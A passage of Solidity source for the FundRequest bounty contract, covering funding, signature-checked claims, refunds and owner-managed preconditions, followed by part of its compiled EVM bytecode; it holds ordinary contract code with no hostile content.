0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function strConcat(string _a, string _b, string _c, string _d, string _e) pure internal returns (string){ bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) pure internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) pure internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) pure internal returns (string) { return strConcat(_a, _b, "", "", ""); } function addressToString(address x) internal pure returns (string) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { byte b = byte(uint8(uint(x) / (2 ** (8 * (19 - i))))); byte hi = byte(uint8(b) / 16); byte lo = byte(uint8(b) - 16 * uint8(hi)); s[2 * i] = charToByte(hi); s[2 * i + 1] = charToByte(lo); } return strConcat("0x", string(s)); } function charToByte(byte b) internal pure returns (byte c) { if (b < 10) return byte(uint8(b) + 0x30); else return byte(uint8(b) + 0x57); } function bytes32ToString(bytes32 x) internal pure returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte ch = byte(bytes32(uint(x) * 2 ** (8 * j))); if (ch != 0) { bytesString[charCount] = ch; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } } contract Precondition is Owned { string public name; uint public version; bool public active = false; constructor(string _name, uint _version, bool _active) public { name = _name; version = _version; active = _active; } function setActive(bool _active) external onlyOwner { active = _active; } function isValid(bytes32 _platform, string _platformId, address _token, uint256 _value, address _funder) external view returns (bool valid); } /* * Main FundRequest Contract. The entrypoint for every claim/refund * Davy Van Roy * Quinten De Swaef */ contract FundRequestContract is Callable, ApproveAndCallFallBack { using SafeMath for uint256; using strings for *; event Funded(address indexed from, bytes32 platform, string platformId, address token, uint256 value); event Claimed(address indexed solverAddress, bytes32 platform, string platformId, string solver, address token, uint256 value); event Refund(address indexed owner, bytes32 platform, string platformId, address token, uint256 value); address constant public ETHER_ADDRESS = 0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; //repositories FundRepository public fundRepository; ClaimRepository public claimRepository; address public claimSignerAddress; Precondition[] public preconditions; constructor(address _fundRepository, address _claimRepository) public { setFundRepository(_fundRepository); setClaimRepository(_claimRepository); } //ENTRYPOINTS /* * Public function, can only be called from the outside. * Fund an issue, providing a token and value. * Requires an allowance > _value of the token. */ function fund(bytes32 _platform, string _platformId, address _token, uint256 _value) external returns (bool success) { require(doFunding(_platform, _platformId, _token, _value, msg.sender), "funding with token failed"); return true; } /* * Public function, can only be called from the outside. * Fund an issue, ether as value of the transaction. * Requires ether to be whitelisted in a precondition. */ function etherFund(bytes32 _platform, string _platformId) payable external returns (bool success) { require(doFunding(_platform, _platformId, ETHER_ADDRESS, msg.value, msg.sender), "funding with ether failed"); return true; } /* * Public function, supposed to be called from another contract, after receiving approval * Funds an issue, expects platform, platformid to be concatted with |AAC| as delimiter and provided as _data * Only used with the FundRequest approveAndCall function at the moment. Might be removed later in favor of 2 calls. */ function receiveApproval(address _from, uint _amount, address _token, bytes _data) public { var sliced = string(_data).toSlice(); var platform = sliced.split("|AAC|".toSlice()); var platformId = sliced.split("|AAC|".toSlice()); require(doFunding(platform.toBytes32(), platformId.toString(), _token, _amount, _from)); } /* * Claim: Public function, only supposed to be called from the outside * Anyone can call this function, but a valid signature from FundRequest is required */ function claim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) public returns (bool) { require(validClaim(platform, platformId, solver, solverAddress, r, s, v), "Claimsignature was not valid"); uint256 tokenCount = fundRepository.getFundedTokenCount(platform, platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(platform, platformId, i); uint256 tokenAmount = fundRepository.claimToken(platform, platformId, token); if (token == ETHER_ADDRESS) { solverAddress.transfer(tokenAmount); } else { require(ERC20(token).transfer(solverAddress, tokenAmount), "transfer of tokens from contract failed"); } require(claimRepository.addClaim(solverAddress, platform, platformId, solver, token, tokenAmount), "adding claim to repository failed"); emit Claimed(solverAddress, platform, platformId, solver, token, tokenAmount); } require(fundRepository.finishResolveFund(platform, platformId), "Resolving the fund failed"); return true; } /* * Claim: Public function, only supposed to be called from the outside * Only FundRequest can call this function for now, which will refund a user for a specific issue. */ function refund(bytes32 _platform, string _platformId, address _funder) external onlyCaller returns (bool) { uint256 tokenCount = fundRepository.getFundedTokenCount(_platform, _platformId); for (uint i = 0; i < tokenCount; i++) { address token = fundRepository.getFundedTokensByIndex(_platform, _platformId, i); uint256 tokenAmount = fundRepository.refundToken(_platform, _platformId, _funder, token); if (tokenAmount > 0) { if (token == ETHER_ADDRESS) { _funder.transfer(tokenAmount); } else { require(ERC20(token).transfer(_funder, tokenAmount), "transfer of tokens from contract failed"); } } emit Refund(_funder, _platform, _platformId, token, tokenAmount); } } /* * only called from within the this contract itself, will actually do the funding */ function doFunding(bytes32 _platform, string _platformId, address _token, uint256 _value, address _funder) internal returns (bool success) { if (_token == ETHER_ADDRESS) { //must check this, so we don't have people foefeling with the amounts require(msg.value == _value); } require(!fundRepository.issueResolved(_platform, _platformId), "Can't fund tokens, platformId already claimed"); for (uint idx = 0; idx < preconditions.length; idx++) { if (address(preconditions[idx]) != address(0)) { require(preconditions[idx].isValid(_platform, _platformId, _token, _value, _funder)); } } require(_value > 0, "amount of tokens needs to be more than 0"); if (_token != ETHER_ADDRESS) { require(ERC20(_token).transferFrom(_funder, address(this), _value), "Transfer of tokens to contract failed"); } fundRepository.updateFunders(_funder, _platform, _platformId); fundRepository.updateBalances(_funder, _platform, _platformId, _token, _value); emit Funded(_funder, _platform, _platformId, _token, _value); return true; } /* * checks if a claim is valid, by checking the signature */ function validClaim(bytes32 platform, string platformId, string solver, address solverAddress, bytes32 r, bytes32 s, uint8 v) internal view returns (bool) { bytes32 h = keccak256(abi.encodePacked(createClaimMsg(platform, platformId, solver, solverAddress))); address signerAddress = ecrecover(h, v, r, s); return claimSignerAddress == signerAddress; } function createClaimMsg(bytes32 platform, string platformId, string solver, address solverAddress) internal pure returns (string) { return strings.bytes32ToString(platform) .strConcat(prependUnderscore(platformId)) .strConcat(prependUnderscore(solver)) .strConcat(prependUnderscore(strings.addressToString(solverAddress))); } function addPrecondition(address _precondition) external onlyOwner { preconditions.push(Precondition(_precondition)); } function removePrecondition(uint _index) external onlyOwner { if (_index >= preconditions.length) return; for (uint i = _index; i < preconditions.length - 1; i++) { preconditions[i] = preconditions[i + 1]; } delete preconditions[preconditions.length - 1]; preconditions.length--; } function setFundRepository(address _repositoryAddress) public onlyOwner { fundRepository = FundRepository(_repositoryAddress); } function setClaimRepository(address _claimRepository) public onlyOwner { claimRepository = ClaimRepository(_claimRepository); } function setClaimSignerAddress(address _claimSignerAddress) addressNotNull(_claimSignerAddress) public onlyOwner { claimSignerAddress = _claimSignerAddress; } function prependUnderscore(string str) internal pure returns (string) { return "_".strConcat(str); } //required to be able to migrate to a new FundRequestContract function migrateTokens(address _token, address newContract) external onlyOwner { require(newContract != address(0)); if (_token == ETHER_ADDRESS) { newContract.transfer(address(this).balance); } else { ERC20 token = ERC20(_token); token.transfer(newContract, token.balanceOf(address(this))); } } modifier addressNotNull(address target) { require(target != address(0), "target address can not be 0x0"); _; } //required should there be an issue with available ether function deposit() external onlyOwner payable { require(msg.value > 0, "Should at least be 1 wei deposited"); } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630b6fc16314610122578063331297561461017957806336600999146101e65780636cd7d86e1461023d578063740e2a29146102805780637b07788e146102c35780637bbf4a3f146102f057806385f529841461034b5780638da5cb5b1461038e5780638f4ffcb1146103e5578063914810a3146104985780639869f1b7146104ef5780639963a8e014610552578063a307b727146105dd578063a6f9dae11461065e578063b4cbdd8b146106a1578063b81b0b6a146106e4578063c00daefe14610802578063cf1d21c014610856578063d0e30db0146108ad578063dfbed623146108b7575b600080fd5b34801561012e57600080fd5b50610137610906565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561018557600080fd5b506101a46004803603810190808035906020019092919050505061092c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f257600080fd5b506101fb61096a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561024957600080fd5b5061027e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b005b34801561028c57600080fd5b506102c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2f565b005b3480156102cf57600080fd5b506102ee60048036038101908080359060200190929190505050610ace565b005b3480156102fc57600080fd5b50610331600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b604051808215151515815260200191505060405180910390f35b34801561035757600080fd5b5061038c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c72565b005b34801561039a57600080fd5b506103a3610d36565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f157600080fd5b50610496600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610d5b565b005b3480156104a457600080fd5b506104ad610e53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104fb57600080fd5b50610550600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e79565b005b34801561055e57600080fd5b506105c36004803603810190808035600019169060200190929190803590602001908201803590602001919091929391929390803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061117a565b604051808215151515815260200191505060405180910390f35b3480156105e957600080fd5b506106446004803603810190808035600019169060200190929190803590602001908201803590602001919091929391929390803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061123c565b604051808215151515815260200191505060405180910390f35b34801561066a57600080fd5b5061069f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e5565b005b3480156106ad57600080fd5b506106e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611983565b005b3480156106f057600080fd5b506107e86004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080356000191690602001909291908035600019169060200190929190803560ff169060200190929190505050611ac9565b604051808215151515815260200191505060405180910390f35b61083c600480360381019080803560001916906020019092919080359060200190820180359060200191909192939192939050505061276c565b604051808215151515815260200191505060405180910390f35b34801561086257600080fd5b5061086b612840565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108b5612858565b005b3480156108c357600080fd5b50610904600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612953565b005b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058181548110151561093b57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109eb57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8a57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b2b57600080fd5b60058054905082101515610b3e57610c4e565b8190505b600160058054905003811015610bf357600560018201815481101515610b6457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600582815481101515610b9e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508080600101915050610b42565b6005600160058054905003815481101515610c0a57fe5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556005805480919060019003610c4c91906143ee565b505b5050565b60016020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ccd57600080fd5b60058190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d6361441a565b610d6b61441a565b610d7361441a565b610d7c84612a09565b9250610dce610dbf6040805190810160405280600581526020017f7c4141437c000000000000000000000000000000000000000000000000000000815250612a09565b84612a3790919063ffffffff16565b9150610e20610e116040805190810160405280600581526020017f7c4141437c000000000000000000000000000000000000000000000000000000815250612a09565b84612a3790919063ffffffff16565b9050610e3f610e2e83612a51565b610e3783612a89565b87898b612aeb565b1515610e4a57600080fd5b50505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f1257600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbd578173ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610fb7573d6000803e3d6000fd5b50611175565b8290508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb838373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d60208110156110a257600080fd5b81019080805190602001909291905050506040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561113857600080fd5b505af115801561114c573d6000803e3d6000fd5b505050506040513d602081101561116257600080fd5b8101908080519060200190929190505050505b505050565b60006111bb8686868080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050858533612aeb565b151561122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f66756e64696e67207769746820746f6b656e206661696c65640000000000000081525060200191505060405180910390fd5b6001905095945050505050565b6000806000806000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561129c57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b4d168f78a8a8a6040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600019166000191681526020018060200182810382528484828181526020019250808284378201915050945050505050602060405180830381600087803b15801561135757600080fd5b505af115801561136b573d6000803e3d6000fd5b505050506040513d602081101561138157600080fd5b81019080805190602001909291905050509350600092505b838310156118d957600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d7258318a8a8a876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808560001916600019168152602001806020018381526020018281038252858582818152602001925080828437820191505095505050505050602060405180830381600087803b15801561146457600080fd5b505af1158015611478573d6000803e3d6000fd5b505050506040513d602081101561148e57600080fd5b81019080805190602001909291905050509150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166372eec3a78a8a8a8a876040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808660001916600019168152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825286868281815260200192508082843782019150509650505050505050602060405180830381600087803b1580156115c457600080fd5b505af11580156115d8573d6000803e3d6000fd5b505050506040513d60208110156115ee57600080fd5b8101908080519060200190929190505050905060008111156118185773eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561169e578573ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611698573d6000803e3d6000fd5b50611817565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174157600080fd5b505af1158015611755573d6000803e3d6000fd5b505050506040513d602081101561176b57600080fd5b81019080805190602001909291905050501515611816576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f7472616e73666572206f6620746f6b656e732066726f6d20636f6e747261637481526020017f206661696c65640000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b5b5b8573ffffffffffffffffffffffffffffffffffffffff167f63c0d4500effbe86eb78017a3713951556483339bd77e496d0d6ec586c9c29b68a8a8a8686604051808660001916600019168152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182810382528686828181526020019250808284378201915050965050505050505060405180910390a28280600101935050611399565b50505050949350505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611a29576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f74617267657420616464726573732063616e206e6f742062652030783000000081525060200191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a8457600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000806000806000611ae08c8c8c8c8c8c8c613604565b1515611b54576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f436c61696d7369676e617475726520776173206e6f742076616c69640000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b4d168f78d8d6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611c0d578082015181840152602081019050611bf2565b50505050905090810190601f168015611c3a5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015611c5a57600080fd5b505af1158015611c6e573d6000803e3d6000fd5b505050506040513d6020811015611c8457600080fd5b81019080805190602001909291905050509350600092505b838310156125a457600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d7258318d8d866040518463ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180846000191660001916815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b83811015611d64578082015181840152602081019050611d49565b50505050905090810190601f168015611d915780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015611db257600080fd5b505af1158015611dc6573d6000803e3d6000fd5b505050506040513d6020811015611ddc57600080fd5b81019080805190602001909291905050509150600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166336e4f9158d8d856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808460001916600019168152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825284818151815260200191508051906020019080838360005b83811015611edb578082015181840152602081019050611ec0565b50505050905090810190601f168015611f085780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015611f2957600080fd5b505af1158015611f3d573d6000803e3d6000fd5b505050506040513d6020811015611f5357600080fd5b8101908080519060200190929190505050905073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ffa578873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ff4573d6000803e3d6000fd5b50612173565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8a836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561209d57600080fd5b505af11580156120b1573d6000803e3d6000fd5b505050506040513d60208110156120c757600080fd5b81019080805190602001909291905050501515612172576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f7472616e73666572206f6620746f6b656e732066726f6d20636f6e747261637481526020017f206661696c65640000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dbbd3a718a8e8e8e87876040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001866000191660001916815260200180602001806020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838103835287818151815260200191508051906020019080838360005b8381101561229e578082015181840152602081019050612283565b50505050905090810190601f1680156122cb5780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019080838360005b838110156123045780820151818401526020810190506122e9565b50505050905090810190601f1680156123315780820380516001836020036101000a031916815260200191505b5098505050505050505050602060405180830381600087803b15801561235657600080fd5b505af115801561236a573d6000803e3d6000fd5b505050506040513d602081101561238057600080fd5b8101908080519060200190929190505050151561242b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f616464696e6720636c61696d20746f207265706f7369746f7279206661696c6581526020017f640000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8873ffffffffffffffffffffffffffffffffffffffff167f75e2571fd135a0fe6a85cd988e0771a1564c1c67b65a89fa74e13d15c5f96b228d8d8d868660405180866000191660001916815260200180602001806020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838103835287818151815260200191508051906020019080838360005b838110156124f25780820151818401526020810190506124d7565b50505050905090810190601f16801561251f5780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019080838360005b8381101561255857808201518184015260208101905061253d565b50505050905090810190601f1680156125855780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390a28280600101935050611c9c565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663474448c48d8d6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561265d578082015181840152602081019050612642565b50505050905090810190601f16801561268a5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1580156126aa57600080fd5b505af11580156126be573d6000803e3d6000fd5b505050506040513d60208110156126d457600080fd5b81019080805190602001909291905050501515612759576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5265736f6c76696e67207468652066756e64206661696c65640000000000000081525060200191505060405180910390fd5b6001945050505050979650505050505050565b60006127c18484848080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee3433612aeb565b1515612835576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f66756e64696e672077697468206574686572206661696c65640000000000000081525060200191505060405180910390fd5b600190509392505050565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128b357600080fd5b600034111515612951576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f53686f756c64206174206c65617374206265203120776569206465706f73697481526020017f656400000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156129ae57600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612a1161441a565b600060208301905060408051908101604052808451815260200182815250915050919050565b612a3f61441a565b612a4a8383836137c8565b5092915050565b6000606080612a5f84612a89565b9150819050600081511415612a7a5760006001029250612a82565b602082015192505b5050919050565b606080600083600001516040519080825280601f01601f191660200182016040528015612ac55781602001602082028038833980820191505090505b509150602082019050612ae18185602001518660000151613866565b8192505050919050565b60008073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b45578334141515612b4457600080fd5b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5a486f388886040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612bfe578082015181840152602081019050612be3565b50505050905090810190601f168015612c2b5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015612c4b57600080fd5b505af1158015612c5f573d6000803e3d6000fd5b505050506040513d6020811015612c7557600080fd5b8101908080519060200190929190505050151515612d21576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001807f43616e27742066756e6420746f6b656e732c20706c6174666f726d496420616c81526020017f726561647920636c61696d65640000000000000000000000000000000000000081525060400191505060405180910390fd5b600090505b600580549050811015612f8357600073ffffffffffffffffffffffffffffffffffffffff16600582815481101515612d5a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612f7657600581815481101515612db157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a8c23cb988888888886040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808660001916600019168152602001806020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825286818151815260200191508051906020019080838360005b83811015612edf578082015181840152602081019050612ec4565b50505050905090810190601f168015612f0c5780820380516001836020036101000a031916815260200191505b509650505050505050602060405180830381600087803b158015612f2f57600080fd5b505af1158015612f43573d6000803e3d6000fd5b505050506040513d6020811015612f5957600080fd5b81019080805190602001909291905050501515612f7557600080fd5b5b8080600101915050612d26565b600084111515613021576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001807f616d6f756e74206f6620746f6b656e73206e6565647320746f206265206d6f7281526020017f65207468616e203000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515613217578473ffffffffffffffffffffffffffffffffffffffff166323b872dd8430876040518463ffffffff167c0100000000000000000000000000000000000000000000000000000